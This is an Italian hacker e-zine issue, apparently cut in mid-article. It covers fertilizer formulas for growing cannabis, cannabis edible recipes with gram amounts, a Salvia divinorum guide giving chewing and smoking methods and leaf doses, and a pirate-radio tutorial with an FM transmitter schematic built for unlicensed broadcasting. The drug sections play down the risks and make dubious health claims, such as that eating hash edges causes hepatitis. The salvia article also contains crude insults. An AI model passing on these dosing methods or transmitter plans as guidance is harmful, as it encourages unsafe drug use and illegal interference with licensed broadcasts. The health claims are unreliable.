(K)<------+ +---------------------+---------------------+ | KNO3 | 6 | | KH2PO4 | 6 | | KCl | 7.5 | | MgSO4 | 3 | | Ca(NO3)2 | 12 | | K2SO4 | 13.5 | +---------------------+---------------------+-----+ | KNO3 | nitrato di potassio | | NH4NO3 | nitrato di ammonio | | Ca(NO3)2 | dinitrato di calcio | | KH2PO4 | fosfato acido di potassio | | MgSO4 | solfato di magnesio | | CaCl2 | cloruro di calcio | | MgCl2 | cloruro di magnesio | | KCl | cloruro di potassio | | K2S04 | solfato di potassio | +---------------------+---------------------------+ -E dove li trovo tutti 'sti elementi?- Semplice! In un vivaio, o in un negozio di botanica, oppure in una farmacia Agraria. ===================] Formula 1 (a base di azoto) [============================ Statura & sviluppo della pianta: Le piantine saranno corte, tozze e ricoperte da molte foglie. L'introduzione di azoto non dovrebbe essere interrotta fino alla sesta settimana ed oltre. Condizione del fogliame e della resina: Il fogliame, come detto prima, e' abbondante, di colore verde-scuro e le foglie sono spesse; un eccesso nel dosaggio dell'azoto provoca una perdita di acqua e puo' causare l'avizzimento. Una deficienza di azoto nella maturita', al contrario,stimola la produzione di resina; il rapporto dei sessi e' di 9:1 le piante di sesso femminile. Un eccesso di azoto creera' una crescita precoce delle piante nello stadio di piccoli arbusti; appariranno robuste, ma moriranno al momento della differenziazione dei sessi. ===================] Formula 2 (a base di calcio) [=========================== Statura & sviluppo della pianta: Un gambo molto forte e fibroso e' desiderabile dove i venti forti sono comuni (Se la vostra coltivazione e' indoor cio' non si verifica) Le piante non raggiungono un'altezza notevole. Il colore e' verde scuro ed i fiori sono rigonfi. Condizione del fogliame e della resina: Le piante robuste generano foglie un po' pi— piccole che con gli altri supplementi. Il fogliame non e' molto spesso ed abboddante. Un'alta concentrazione di sale di calcio ostacola la produzione di resina. Il rapporto dei sessi e' di 7:3 per le piante maschili.Una dose eccessiva di calcio nella giovane eta' impedira' la crescita, ma un adeguato rifornimento e' essenziale nelle prime 6/9 settimane ====================] Formula 3 (a base di magnesio) [======================== Statura & sviluppo della pianta: Le concentrazioni di magnesio danno una statura buona. Il gambo sara' fibroso e cavo, un po' legnoso, non altrettanto forte come con la formula a base di calcio. Le foglie saranno robuste, ma di un colore verde pallido, quindi assumeranno un colore brunato e avvizziranno ai bordi e sulle punte. Condizione del fogliame e della resina: Il fogliame e' piu' rado che con un alto dosaggio di potassio. Le foglie vecchie avvizziscono rapidamente. Una mancanza di magnesio tratterra' e ostacolera' la produzione di resina. Il rapporto dei sessi e' di 6:4 per le piante maschili. Il magnesio e' vitale per la salute globale, ma e' consigliabile somministrarlo cautamente. ====================] Formula 4 (a base di potassio) [======================== Statura & sviluppo della pianta: Il potassio favorisce un'enorme crescita delle piante. Il gambo e' largo, molto spesso di fibra, legnoso e fragile. Le foglie sono spesse, robuste, di colore verde scuro. Il ciclo di crescita e' accorciato di una settimana. Condizione del fogliame e della resina: Produzione stimolata di foglie molto larghe. Se dopo la 10ima settimana si somministra una dose eccessiva di potassio, la produzione di resina sara' danneggiata. Il rapporto dei sessi e' di 7:3 per le piante femminili. Il potassio e' essenziale nei primi stadi di vita, ma ha sostanziali effetti negativi se una concentrazione troppo alta permane nella maturita'. Per questa volta e' tutto, nel prossimo numero parleremo dei fiori, sia maschili che femminili, e di uno strano incrocio... ---0ldir0n61--- ############################################## #+---------++---------++---------++---------+# #| kiTcHen || kiTcHen || kItCheN || kItCheN |# #+---------++---------++---------++---------+# ############################################## -=!!!|-lE rIcEtTe dEl vEcChi0-|!!!=- Autore: 0lDir0n61 In questo articolo vi scrivero' qualche ricetta, il cui ingrediente principale, e' la canapa...... Prima di iniziare vorrei dire che per cucinare e' meglio usare canapa di sesso Maschile...quindi, in caso di un raccolto infelice, la canapa "Maschio" visto che e' pressappoco come fumarsi una sigaretta (Ha un bassissimo tasso di THC9) potra' essere usata esclusivamente per mangiare... Ma ora veniamo alle ricette: Il menu sara' il seguente: verra' descritto a partire da ais2, per continuare nelle prossime pubblicazioni (a voi la scelta delle portate ;-)) In questo numero ci occuperemo dei dolci e di una bevanda... +------------------------+---------------+ +->Nome<-----------------+>Da Servire<---+ +------------------------+---------------+ | ./ d0lCi \. | +------------------------+---------------+ +- Yogurt Number One -+-------| +- Space cake -+-------| +- Bhang -+-------| +- Mele Glassate -+-------| +------------------------+---------------+ | ./ BevAnDe \. | +------------------------+---------------+ +- The'Indiano+Cannella -+-------| | | | +------------------------+---------------+ -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ *[ dOlcI ]* |---->YogUrT nUmBeR oNe<----| Ingredienti: -4 Vasetti di yogurt -10-15 gr. di hashish Prendete il fumo, toglieteci i bordi (Senno' vi viene l'epatite) e grattuggiatelo accuratamente. Dividete i fumo per 4 e poi amalgamate bene i due elementi (Fumo e Yogurt) *NOTA* Piu' il fumo e' grattuggiato bene, migliore sara' la qualita' dell'alimento. Ornate a piacimento...consigliate spezie come la cannella.... Per il gusto dello yogurt fate voi....consiglio cmq il muller bianco. | | ---+->da servire FRESCO<-+--- | | |---->bHanG<----| Ingredienti: -15 gr. Marijuana -7 gr. semi di papavero -7 gr. pepe -3 gr. zenzero Un pizzico di semi di cumino, un pizzico di semi di garofano, un pizzico di cannella, - 7 gr. semi di cocomero - alcuni semi di cardamomo - 7 Mandorle sbucciate - 1 pizzico di noce moscata, - 1a rosa ben grossa con tutto il calice (OPZIONALE) - 250gr. zucchero - <50cl. latte (aumentare per dimunire la consistenza...) *Far bollire un terzo di litro d'acqua, toglierla dal fuoco e aggiungere la marijuana; far riposare per circa 5 min, mescolare accuratamente, togliere la marijuana e mettere l'acqua da parte. Eliminare dall'erba i rametti ed i semi, metterla in un pestello e farne una pastetta aggiungendovi lentamente del latte e tutti gli altri ingredienti precedentemente lavorati e ben amalgamati, eccetto i semi di cocomero, di papavero e lo zucchero. Mettere da parte la pasta cosi' ottenuta. Mischiare le due pastette con il latte rimasto, amalgamare ben bene, filtrare. Tutto quello che non passa dal filtro va eliminato. Mescolare bene con lo zucchero e filtrare nuovamente, Infine si aggiunge latte fino ad ottenere la consistenza voluta, e l'acqua precedentemente aromatizzata con la marijuana. | | ---+->da servire ben FREDDO<-+--- | | |---->Mele Glassate<----| Ingredienti: -4 Mele sbucciate, senza torsolo ed intere -4 giliege Mezza tazza di zucchero bruno. un terzo di tazza di marijuana, mezzo bicchiere d'acqua -2 cucchiaini di cannella in polvere *ridurre in polvere la marijuana, mescolarla con lo zucchero, l'acqua e la cannella. Riempire le mele con questa pasta, ornare con le ciliege e mettere in forno, gia' caldo, per circa 30 minuti. | | ---+->da sevire ben CALDO<-+--- | | -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ *[ bEvAnDe ]* |----->The' Indiano<----| *Portate in ebollizione circa mezzo litro d'acqua, poi versare circa 4 gr. di marijuana, finemente tritata, lasciando bollire per circa 5 minuti (se vi piace forte potete tenerla per quanto tempo volete!). Spegnere il fuoco, coprire, attendere almeno una decina di minuti, filtrare ed addolcire con un po' di miele (evitate di usare lo zucchero) Si possono usare fiori di gelsomino, un pizzico di cannella (Scelta consigliata), oppure qualunque altra spezia che ci stia bene... | | ---+->da servire ben CALDO<-+--- | | -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ ->!!-ATTENZIONE-!!<- Per raggiungere il massimo effetto, si consiglia di consumare questi alimenti quando si Š COMPLETAMENTE sobri....se vi fate un kannone prima di mangiare, i risultati saranno di molto affievoliti... ---0lDir0N61--- ################# #+-------------+# #|-[ trying!]- |# #+-------------+# ################# -=|!!!-a Ma',NeKke'`t'aRitr0vi 'np0' de sArvIa?-!!!|=- Autore: dr^Sp3nKy Traduzione dal r0man0 in (kuasi)italiano: "A ma' non e' ke hai un po' di Salvia?" Il titolo originale era "a ma',nekke'`t'aritrovi 'npo' de sarvia?"; visto ke,fortunatamente, la `zine di ais viene letta anke in altre citta' italiane, ho dovuto moderare la mia cadenza romanaccia[skusa Roma...8(] Mi e' stato vietato di pubblikare l'artikolo su kome fare Lsd[o kualkosa di simile]in kasa e, kosi' ho cerkato una via alternativa,forse + soddisfacente.... Non mi ritengo in nessun modo responsabile delle kazzate ke farete kon la salvia e kompagnia bella. Devo fare 2 premesse: 1)Per ki sia interessato ad avere info[Z] su kualsiasi tipo di droga e anke kome farle a kasa,cerki su kualsiasi motore di ricerca [konsiglio www.altavista.com] la parola lycaeum,troverete un tot di siti tipo http://salvia.lycaeum.org/ 2)Tutto kuello ke vedete e' stato preso da un guida ke kiedeva esplicitamente di copiare parola per parola l'artikolo sulla salvia... [ke io,se non avete ankora capito,non faro' hihi...lAiDo rUlEz]. Ok,si komincia...cioe'...kontinuo domani perke' ho sonno... r0nF r0nF r0nF - RaPid EyEs` m0vImEnTs - r0nF r0nF r0nF,sKu0la dEl kaZzo, ...si riekkomi kui...posso kontinuare [sto mangiando una bella rosetta kol prosciutto,ke mi ha mandato la mia nonnina amata....e ke fra l'altro saluto... anke se non sa ke e' un monitor....]...uff!ora si komincia sul serio..o almeno ci provo... Dedikato in partikolare a: la mia raga lella, elsa e mich&Yoghi. ed anke a: gabriele delle Brigate Rozze, Gozzilla e le tre bambine koi baffi, punkskin e tutto #phreak.it #aisprod e #ahccc - Regno e Storia. La Salvia Divinorum [Salvia del Divinatore, o degli Indovini, dei Veggenti] e' una tra le molte specie di Salvia,ke sono membri della famiglia della Menta. Assunta in determinate kondizioni e modi...[ voi riuscite a parlare al cell per 44 min kol la vostra raga e nel mentre digitate? ]...produce uno stato di fattanza non paragonabile alla Marijuana, L(a)S(alvia)D(ivinorum);],Kale,Coka o altra robba. Questa bellissima pianta e' stata usata per molti anni nelle cerimonie religiose dagli indiani Mazatec, ke vivono nella provincia di Oaxaca in Messico. - Pro sull'uso della Salvia. Fra l`altro potete farvi dei viaggetti mistici senza ke la pula o kualke karabinero [kon la fiamma spenta sul kappello] vi caghi il kazzo, perke' la Salvia kome l'alcool in Italia [per la Salvia penso anke in kualsiasi altra parte del mondo] e' legale. - Sostanza stupefacente. La Salvia kontiene il Salvinorin-A [kome il THC nella Marijuana],ke e', a kuanto ho kapito, la sostanza stupefacente. Questa sostanza pura dovrebbe essere davvero micidiale,pensate ke un microgrammo [ cioe' un milionesimo di grammo ] produce gia' effetti e un milligrammo [ cioe' un millesimo di grammo] puo' causare gravi effetti per ki non usa Salvinorin-A puro. Komunkue sia la Salvia, kome ho detto prima, non deve essere per esempio paragonata agli effetti di un pastrano ke vi fumate , perke' e' simile e dissimile ad altre sostanze ke vi alterano la mente. - La sikurezza. Avete mai sentito parlare di uno morto per overdose di "Foglia di Salvia?". Lascio la risposta alle vostre menti. - Kome il Salvinorin-A agisce sul cervello. Nessuno conosce come il Salvinorin-A lavori nel cervello. Diciamo di sapere che lavora differentemente da qualsiasi altra sostanza conosciuta. Sikuramente vi fara' pensare. - Kontro della Salvia (azz!). Se pensate ke volete spakkarvi kon il Salvinorin-A in una festa tra amici, oppure tra amici [intendo kuelli non proprio stretti], vi pigliera` sikuramente a male. - Tipi di viaggi. I viaggi mistici di Salvia possono essere sia forti sia deboli, perke' dipende da kome la prendete, kon ki la prendete, dove la prendete, dal vostro korpo e da kuanta ne prendete. - Pr[a]ekauzioni. Non pigliate le prime volte ed anke kuelle sucessive la Salvia kuando state da soli, ma fatevi assistere da uno ke non e' fuori a volare verso l`infinito ed oltre kome voi. Non guidate kuasiasi makkina anke dopo ke gli effetti sono finiti(sia motorini auto, bici, apri skatole, seghe, motoseghe, barke, trapani, presse, ascensori vabbe` sto a delira'...). Inoltre non pigliate Salvia kuando state in mezzo a gente o a posti ke sapete potrebbero farvela pigliare a male. Ci tengo a dirlo, perke' kuando piglia a male e' veramente brutto, ma bruto bruto bruto ne'! - Gli effetti. Se la Salvia ve la fumate essikkata, gli effetti arriveranno in un minuto circa. Se ve la mastikate si sentono i primi effetti in circa 15 min e durano circa 30 min ma posso anke arrivare ad 1 ora o a 2 ore. Gli effetti vengono divisi in 6 kategorie kiamate B-E-N-I-T-O[...hihi...] ke vanno dal livello + basso di fattanza ad un livello + alto. Kategoria B-E-N-I-T-O ,in onore della nostra grande luce durante il 19oo ;]. Skerzo kmq...anke perke' non penso ke il Duce si drogava...anzi...faceva sport dalla mattina alla sera... La categoria e' italianizzata per ragioni non ankora note all`autore 8). Livello B : Effetti aBbastanza simili ad uno spino di Marijuana,kuindi risate. Livello E : Processo di pensiero altErato[il mio e' sempre alterato...]. Livello N : FattaNza simile all'LSD, ke vi fa vedere forme kolorate kon okki kiusi e suoni sentiti opaki o associati a kolori. Livello I : Viaggio sciamanIko simile al sogno, visita ad altri luoghi ed altri tempi. Livello T : Perdita di identiTa`, fusione kon altre kose, siete kome un pugno di bytez ke korre da un kapo all`altro del mondo ad una velocita' altissima.Vi perdete nell`Universo. Livello O : L`ultimo livello, kuello a kui non vorrei mai ritrovarmi.Perdita dei sensi per alkuni minuti dovuti solo ad una dose troppo alta. Sono stati riskontrati effetti di sonnambulismo. -Kome assumere la Salvia. - Metodi Maztechi tradizionali ( ke sarebbero 2 per ki non so kontare ). I metodi Maztechi sono i + sikuri [sta' a signifikare ke gli indiani d`Amerika non erano mika k¤¤¤ni...maledetti kolonizzatori di merda ke li hanno sterminati,brutte teste di ¤¤¤¤ potevate restare a kasa, siete proprio dei gran kug¤¤¤oni,Kolombo e' il kapo dei k¤¤¤ni e la sua madre una gran p¤¤¤ana; kmq sia Kolombo non ha skoperto un bel k¤¤¤o perke' in Amerika ci erano arrivati prima i Vikinghi, o un'altra popolazione Barbara ke ora non rikordo]. 1) Un metodo e' fare un dekotto kon acqua e foglie freske di Salvia [ kome se dovete fare un the' ].La fregatura di kuesto metodo e' ke perderete le papille[..pupille hehe]gustative per il sapore amaro ...no vabbe',kmq sappiate ke e' amaro, molto molto amaro ne'. 2) Mastikare e ingoiare un grosso numero di foglie freske di Salvia per circa mezz`ora. Quest`ultimo lo skonsiglio di piu' del primo perke' c`e' perikolo ke il vostro stomaco non abituato a sforzi, vi faccia kollassare una sostanza verde.Il ke non e' bello,..poi vi blokka la crescita. - Metodi non Maztechi,ossia "moderni"(ke sono 2 per ki non sa kontare). Il metodo Quid: Questo metodo koinsiste nel fare un gomitolo di foglie di Salvia,e se non vi piace il gomitolo di foglie di Salvia fate il cilindro (ke a me piace assai). Dovete fare una mastikazione ogni dieci secondi per circa 30 minuti, tenendo la poltiglia ke si forma sotto la lingua e il sukko,se ce la fate,in bokka. Passati i 30 minuti sputate tutto e state attenti a non makkiarvi perke' il sukko della Salvia non si levera' facilmente dalle moquette o vestiti. Il Quid lo potete fare sia kon foglie freske ke kon foglie sekke,ma le sekke sono effettivamente meno amare. Ki riesce a fare un cilindro kon foglie sekke di Salvia me lo fa sapere..ok? In koro: <>. Tutti kuelli ke invece non ci riusciranno, dovranno tenere le foglie sekke nell'acqua per circa 10 minuti, poi le strizzate e ci fate il cilindro o il gomitolo. Per tutt'eddue(vabbe' si mi avete kapito...)le kose...cioe' foglie freske e foglie sekke, avrete bisogno dalle 8 alle 16 foglie grandi. Non fate pero' i ka¤¤o¤i ke partite subito da 16...aumentate una foglia ogni volta ke il Quid non fara' + l`effetto kome la precedente. Il metodo tromba di Salvia. Dovete farvi delle bombe di Salvia essikkata, kome fate kon la Marijuana. Se la miccia vi si spegne riaccendetela; fate tiri veloci e profondi anke perke' il Salvinorin-A fara' effetto solo se vaporizzato (Il Salvinorin-A vaporizza ad alte temperature). Konsiglio anke di farvi dei cilomi kon la Salvia essikkata.Kuando fumate, i primi effetti sono sentiti entro un minuto.I pieni effetti si raggiungono in circa 3 minuti. La durata totale del viaggetto puo' variare da meno di 30 minuti sino ad un'ora. - Konklusioni Vabbe'...mo' me tokka studia' Latino....c'aveva proprio ragione Axis....ke il latino fa' cagare e non serve a nulla. Mi rakkomando non ci skerzate kon sta' pianta ke poi sono ka¤¤i vostri...Usate kuindi kuesta pianta per capire kos'e' ke non capite, per avere opinioni da uno dei molti voi per affrontare delle scelte o dei problemi. Ciao Ciao ---dR`sP3nKy--- ########################################### ####### RRRR AAA DDD III OOO ####### ####### R R A A D D III O O ####### ####### RRRR AAAAA D D III O O ####### ####### R R A A D D III O O ####### ####### R RR A A DDD III OOO ####### ########################################### +----------------------------------------+ /| -[ 0ldir0n61's gReAt rAdi0 tUt0rIal ]- | +/+----------------------------------------+ |////////////////////////////////////////// +----------------------------------------+ ./ -pARt 0nE- \. -[ InTR0 ]- Salve a tutti, da qui comincia il mio tutorial sulle radio... Troverete tutte (o quasi) le informazioni circa le trasmissioni radio, con un palese riferimento alle Radio Pirata, che possiedo nel mio "bagaglio tecnico" ;) Il tutorial e' diviso in 2 parti...la prima eccola qua, la seconda parte verra' pubblicata su AiS#3. --- Vi ricordo che questo manuale e' stato scritto con l'unico scopo di dare al lettore una preparazione teorico/tecnica riguardo i metodi radiantistici. Si ricorda che trasmettere su suddette frequenze, senza autorizzazione di trasmissione, e senza la dovuta patente radioamatoriale e' FORTEMENTE ILLEGALE, pertanto e' perseguito dalla legge. --- Dopo questo piccolo discalimer, scritto dalla parte "pulita" di 0ldir0n61, cominciamo con il tutorial. Ecco a voi l'indice degli argomenti... -[ k0nTeNtS ]- Gli asterischi dividono in 2 parti il tutorial... 1) La parte pubblicata in seguito 2) Parte restante, da pubblicare in AiS#3 1 2 +---+------------------------+-+-+ | 1 |INTRO |*| | | 2 |KONTENTS |*| | | 3 |BREAKING THE LAWS |*| | | 4 |FREQUENZE E MODULAZIONI |*| | | 5 |TX/RX IN ONDE ULTRACORTE|*| | | 6 |TX/RX IN ONDE CORTE | |*| | 7 |TX/RX IN ONDE MEDIE | |*| | 8 |PRE-AMPLIFICATORI | |*| | 9 |AMPLIFICATORI | |*| |10 |ANTENNE |*| | |11 |FILTRI DI RUMORE | |*| |12 |ACCESSORI | |*| |13 |LINKS |*| | |14 |GLOSSARIO | |*| |15 |OUTRO |*|*| +---+------------------------+-+-+ -[ bReAKinG tHe LawS ]- In questo articolo verranno elencate e spiegate alcune leggi inerenti alle trasmissioni radio... tutto cio' per far rendere conto che l'attuazione delle free-radios puo' essere molto rischioso...da qui chi sara' veramente convinto continuera' nel proprio intento, chi prendeva le radio pirata come una cosa "alternativa"e niente piu' lascera' perdere. La legge piu' recente che abbiamo in italia risale al 1990, precisamente l'articolo 195 della legge no. 223 del 06/08/1990, ovvero una parte della famigerata "Legge Mammi'", attuale legge coordinante le attivita' radiotelevisive. Qui di seguito l'articolo 195 preso dalla Gazzetta Ufficiale. ===COPIA & INCOLLA=== Legge nr.223 <> del 06/08/1990 art.195 (Installazione ed esercizio di impianti di telecomunicazione senza concessione od autorizzazione -Sanzioni) 1) Chiunque installa od esercita un impianto di telecomunicazione senza aver ottenuto la relativa concessione o autorizzazione e' punito,[se il fatto non costituisce reato], con la sanzione amministrativa pecuniaria da lire 500.000 a lire 20.000.000. 2) Se il fatto riguarda impianti radioelettrici, si applica la pena dell'arresto da 3(tre) a 6(sei) mesi. ===COPIA & INCOLLA=== Bella legge vero? ;-) (Se il fatto non costituisce reato?) Cio' vuol dire che non si interferisce e/o disturba le altre trasmissioni regolarmente autorizzate. Dal momento che si va a disturbare una qualunque emittente radiofonica autorizzata, cioe' dal momento che il fatto costituisce reato, la pena cambia da una semplice multa al sequestro delle apparecchiature, fino ad arrivare alla reclusione. -[ fReQUenZe e m0dUlAzI0ni ]- Ora vi chiederete: "E su quali frequenze devo trasmettere?". Ci sono molte possibilita' di scelta, a seconda della potenza del'impianto, del tipo di emissione (nazionale, internazionale, locale...), della "raison d'etre", e soprattutto in base a quanto tempo si vuole campare nell'etere... -[ s0lEnNe gRaTtAta dI mAr0nESS!!!! ;*) ]- Pressapoco tutte le emittenti pirata, o free radios (d'ora in poi nominate FR) hanno trasmesso a partire dal 1958, e tuttora trasmettono in 3 bande di frequenza differenti, ed in due tipi di modulazione. Ecco a voi una semplice tabella delle frequenze e modulazioni utilizzate per le FR. +----+----------+-------+-------+---+-----+ |SIG.|TIPO ONDE |F iniz.|F fin. |mt.|MOD. | +----+----------+-------+-------+---+-----+ | MF | Medie | 561kHz|1800kHz|100| AM |->PoRtata INTERNAZIONALE<- +-----------------------------------------+ | HF | Corte |3001kHz|6000Khz| 10| AM |->PoRtata INTERNAZIONALE<- +-----------------------------------------+ |UHF |Ultracorte|* 88mHz|*108mHz| 3| FM |->PoRtata LOCALE/NAZIONALE<- +----+----------+-------+-------+---+-----+ |SIG.= Sigla Gammma | |F iniz.= Frequenza Iniziale | |F fin.= Frequenza finale | |mt.= Definizione metrica | |MOD.= Tipo Modulazione | +-----------------------------------------+ |*= In questo caso, la frequenza iniziale | | e quella finale sono state | | personalizzate per le FR. | | La vera banda di frequenza delle UHF | | e' 50- 500 mHz. | +-----------------------------------------+ Analizziamole ora separatamente... -[ Tx/Rx iN 0nDe uLtrAc0rTe (UHF) ]- Onde che si estendono dalle 88 alle 108 mHz, trasmettendo esclusivamente in FM, modulazione di frequenza, ascoltabili un po' ovunque, da casa come in auto, onde saturate dalle trasmissioni delle radio commerciali, in poche parole "la Banda di frequenza piu' sputtanata che c'e'" Ecco a voi le caratteristiche di questa banda, elencate in seguito: -Con un trasmettitore di media potenza(a basso costo) si puo'trasmettere in una zona limitata, aumentanto esplonenzialmente il numero delle frequenze libere, con il conseguente BOOM delle emittenti commerciali (siGh!) -E' udibile da un qualunque sintonizzatore FM, autoradio, etc.etc. -E' difficile trovare, all'interno della propria citta' frequenze COMPLETAMENTE libere...basta che cercate di sintonizzare la vostra radiosveglia; ogni 200kHz c'e' un'emittente commerciale! -Visto il grosso "valore" di questa frequenza, i controlli sono molto intensi ed il rischio di bust e' sempre dietro l'angolo... -La propagazione diretta e' di buona qualita'; mentre quella riflessa e'quasi assente. Esiste la possibilita' di impiegare ponti ripetitori situati su punti elevati, o su satelliti. -la distanza di propagazione puo' variare da un paio di Km, fino ad arrivare ad oltre 100 Km senza l'ausilio di ripetitori. ==== -( Trasmettitore UHF )- Il progetto di trasmettitore presentato in seguito sara' utile per cominciare a trasmettere in UHF senza spendere una lira (o quasi) Infatti questo TX funziona con l'assemblaggio di questi componenti: -5 Condensatori -1 Compensatore -6 Resistenze -1 Trimmer potenziometrico -1 Transistor -1 Circuito integrato -1 Impedenza UHF (oppure VHF) Il TX puo' funzionare in diverse tensioni, che oscillano tra i 9 e i 13.5 Vcc, con un consumo variabile tra i 14 ed i 30 mA. La potenza, oscilla tra i 20 ed i 120 mW a seconda della tensione immessa. Cio' vuol dire che con 120mW, in condizioni atmosferiche normali, la portata e' di circa 2Km, ma con un discreto impianto di antenna, con un buon amplificatore di potenza, potrete tranquillamente irradiare un'intera citta' con le vostre onde libere... Ecco a voi il progetto: ANTENNA | +---+---+-------------+-----------------+-----+-----+------+----+ | | | | | \ | | | | | | | | | | | _|_ _|_ ) | | | | | | | C3___ C4@@@ )<--+ | | | ___ | | | | | ) L1 | | \ R3| | | R4 | / | | | | | / +-/\/\-+----/\/\-+ _|_ \ R5 +------+----+ | | \R1 | | | C2___ / | | | | / | __7__ | | | TR1 c | | | | +----2| | | + | | |/ _|_ +* _|_ | | | IC |6---+---) (--+-----+--b| C6___ 9/ ___ +---------3|_____| C5 | |\e | 13V |C1 | | 4 | | | -* | | | | \ +-------+ | | \ * | R6/ | | | / | \ ) | | \R2 Mic. | / ) J1 | | / | | ) | | | * | | | | | | | | | + | | | | | | \ | | | | | | / R7 | | | | | | \ | | | | | | | +---+---+----+---------+----------------------+----+ Ed ecco a voi la lista dei componenti... [Condensatori] C1= 10.000 pF C2= 1.000 pF C3= 18 pF C4= 6-30 pF (Compensatore) C5= 4,7 µF -15 Vl (elettrolitico) C6= 8,2 pF [Resistenze] R1= 10 kOhm R2= 10 kOhm R3= 5 mOhm (Trimmer) R4= 100 kOhm R5= 6,8 kOhm R6= 560 Ohm R7= 100 Ohm [Altri Componenti] IC= µA741 TR1= 2N2222 J1= Impedenza UHF (oppure VHF) ===== [ Msg per i *nix users ] Questo carattere ( µ ) dovete considerarlo come il "mu greco", cioe' il carattere usato per rappresentare la quantita' "micro"(0,000,001 Unita'). ===== All'uscita "Mic." potra' essere collegato un Microfono, un miscelatore, oppure un preamp-mixer. (Tutte queste soluzioni verranno spiegate in seguito.) Bene, ora avete il trasmettitore...grazie a questo oggettino potrete trasemettere su una frequenza varibile, tramite il compensatore C4, che va da 88 a 106 mHz. Per scegliere la frequenza su cui trasmettere, dovete prima fare una sorta di "analisi" delle frequenze occupate nella vostra zona, in modo da scegliere una frequenza libera, non occupata da un network commerciale, diminuendo di molto i rischi di bust, e soprattutto evitando interferenze che cancellerebbero il nostro segnale. Non pensate che SOLO con questo trasmettitore potrete mettere a culo per terra i grandi network nazionali in FM, ma unendo questo trasmettitore ad un amplif. (Descritto in seguito) ed a un buon impianto di antenna, avrete una VALIDA stazione TX in UHF in Modulazione di Frequenza. Per quanto riguarda le Ricezione (RX) basta il sintonizzatore FM che avete a casa, anche se sono preferibili apparati digitali, vanno tutti bene, compresa l'autoradio, purche' non siano radio-sveglie, troppo imprecise per un'accurata RX. -[ le AnTenNe ]- In questo articolo verra' spiegato come funziona e come si puo'costruire uno dei principali fattori di riuscita di una emissione radio: l'antenna. ====== Prima di cominciare, vi lascio un piccolo consiglio.... Per avere l'emissione piu' performante, dovete cercare di avere la stessa impedenza nell'antenna, nel cavo coassiale di discesa, e nel TX Solo cosi' si potra' trasmettere conn il 100% di potenza. ====== Di antenne ne esistono di vari tipi e bande di frequenze, a prezzi a volte stracciati, a volte altissimi...ma noi cmq provvederemo, in puro stile di autogestione ;-), a costruirne una adatta a noi! === Per le MF-HF in TX/RX, solitamente si utilizza un dipolo, ma verra' anche presentato il progetto di un antenna direttiva a quadro di tipo "loop", adatta al TX/RX per lunghe distanze. === Per le UHF solitamente il TX/RX e' racchiuso in un unico tipo di antenna, solitamente GROUND PLANE (GP), anche se qui ne citeremo anche altre. === Prima di descrivere le antenne bisogna fare una piccola puntualizzazione: -Un'antenna, per trasmettere perfettamente su una certa frequenza, deve avere una lunghezza appropriata, correlata con la lunghezza d'onda della frequenza. Per trovare qual e' la lunghezza d'onda di una frequenza, occorre fare una semplice operazione: Lunghezza d'onda(metri)= 300 : Frequenza (mHz) Esempio: +-----------+------------------+ | Frequenza | Lunghezza d'onda | +-----------+------------------+ | 88 mHz | 3,409 m. | +-----------+------------------+ |1600 kHz | 187,5 m. | +-----------+------------------+ |6000 KHz | 50 m. | +-----------+------------------+ +-----------+------------------+ L'ideale sarebbe avere un'antenna della lunghezza IDENTICA a quella d'onda, ma cio' puo' creare gravi problemi di spazio, soprattutto se si deve trasmettere in onde corte,oppure in onde medie... Per ovviare a questo problema, si costruiscono antenne con la lunghezza di 1/4, 1/2, 5/8 d'onda etc.etc. La trasmissione + potente si avra' con una antenna dalla lunghezza il + vicino possibile a quella d'onda. -( I DIPOLI )- Il dipolo, nella sua + semplice rappresentazione, e' composto da 2 cavi, isolati tramite un apposita piastrina in teflon, disposti orizzontalmente, e collegati ad un cavo coassiale che scende verso il TX. Ecco una serie di disegni in ASCII che illustra i vari tipi di dipolo. LEGENDA: TX+= ..al Trasmettitore (Polo Caldo) ] Cavo TX-= ..al Trasmettitore (Calza di massa) ] Coassiale GROUND= Messa a terra Fig.1 -dipolo marconiano classico- Isolatore Isolatore Isolatore \\ _ Filo di Rame _ Filo di Rame _ // \\^^^^^^|_|--------------------|_|--------------------|_|^^^^^^// Fig.1 \\ +!- // \\ |!| // \\ |!| // MURO |!| MURO \\ |!| // \\ |!| // \\ |!|-->Tubo Acciaio // \\ |!| // \\ |!| // \\ |!| // \\ TX+/ \TX- // Questa antenna deve essere situata nel punto + altro possibile, per premettere un efficiente funzionamento... Il filo di Rame deve essere smaltato e di diametro tra 1 e 2 mm. I due cavi ramati devono essere di uguale lunghezza, e la loro somma deve essere uguale 1/2 la sua lunghezza d'onda. Quindi se volete trasmettere con questa antenna sulla frequenza di 1800 KHz, la somma dei due cavi deve essere di 83m. (!) Quindi ogni cavo deve essere lungo 41.5 m. Lo so che sono lunghezze esagerate, irrealizzabili in una area cittadina...ma queste sono le misure ideali per una trasmissione pulittissima in MF. Anche perche' TX in MF non si possono effettuare in affollati centri abitati, per le cause descritte sopra (vedi RX/TX in MF) L'impedenza di un dipolo PERFETTAMENTE orizzontale e' costantemente di 75 Ohm Fig.2 -dipolo marconiano a "V invertita"- _ |_|I /|!|\ /+|!|-\ / |!| \ / |!| \ / |!| \ Filo di Rame / |!| \ Filo di Rame / |!| \ / |!| \ / |!| \ / |!|-->Tubo \ / |!| Acciaio \ / |!| \ Sostegno / |!| \ Sostegno Laterale|/ Tx+|!| Tx- \| Laterale ______________|______________/ \______________|______________ Fig.2 L'angolo ideale tra i cavi di rame(F) ed il palo con il cavo che va al TX, e' di 60ĝ,quindi come potete notare anche voi, lo spazio occupato dalla nostra antrenna viene ridotta di molto, e l'impedenza di questo tipo di dipolo, a 60ĝ e' di circa 50 Ohm. Il filo di Rame deve essere smaltato e di diametro tra 1 e 2 mm. I due cavi ramati devono essere di uguale lunghezza, e la loro somma deve essere uguale 1/2 la sua lunghezza d'onda. Il cavo coassiale di discesa, ( rappresentato da ! ) deve essere attaccato ad un palo di legno o di acciaio, in modo da sorreggere anche i due cavi di rame. Figura.3 -dipolo verticale per UHF- __ [ ] | | | | ab= 1/2 Lunghezza d'onda. | | | | Tx+ | a---/ _ | =======[_] | b---\Tx-| | | | | | | | | | | | | | | | | |Tubo Acciaio [__] | | 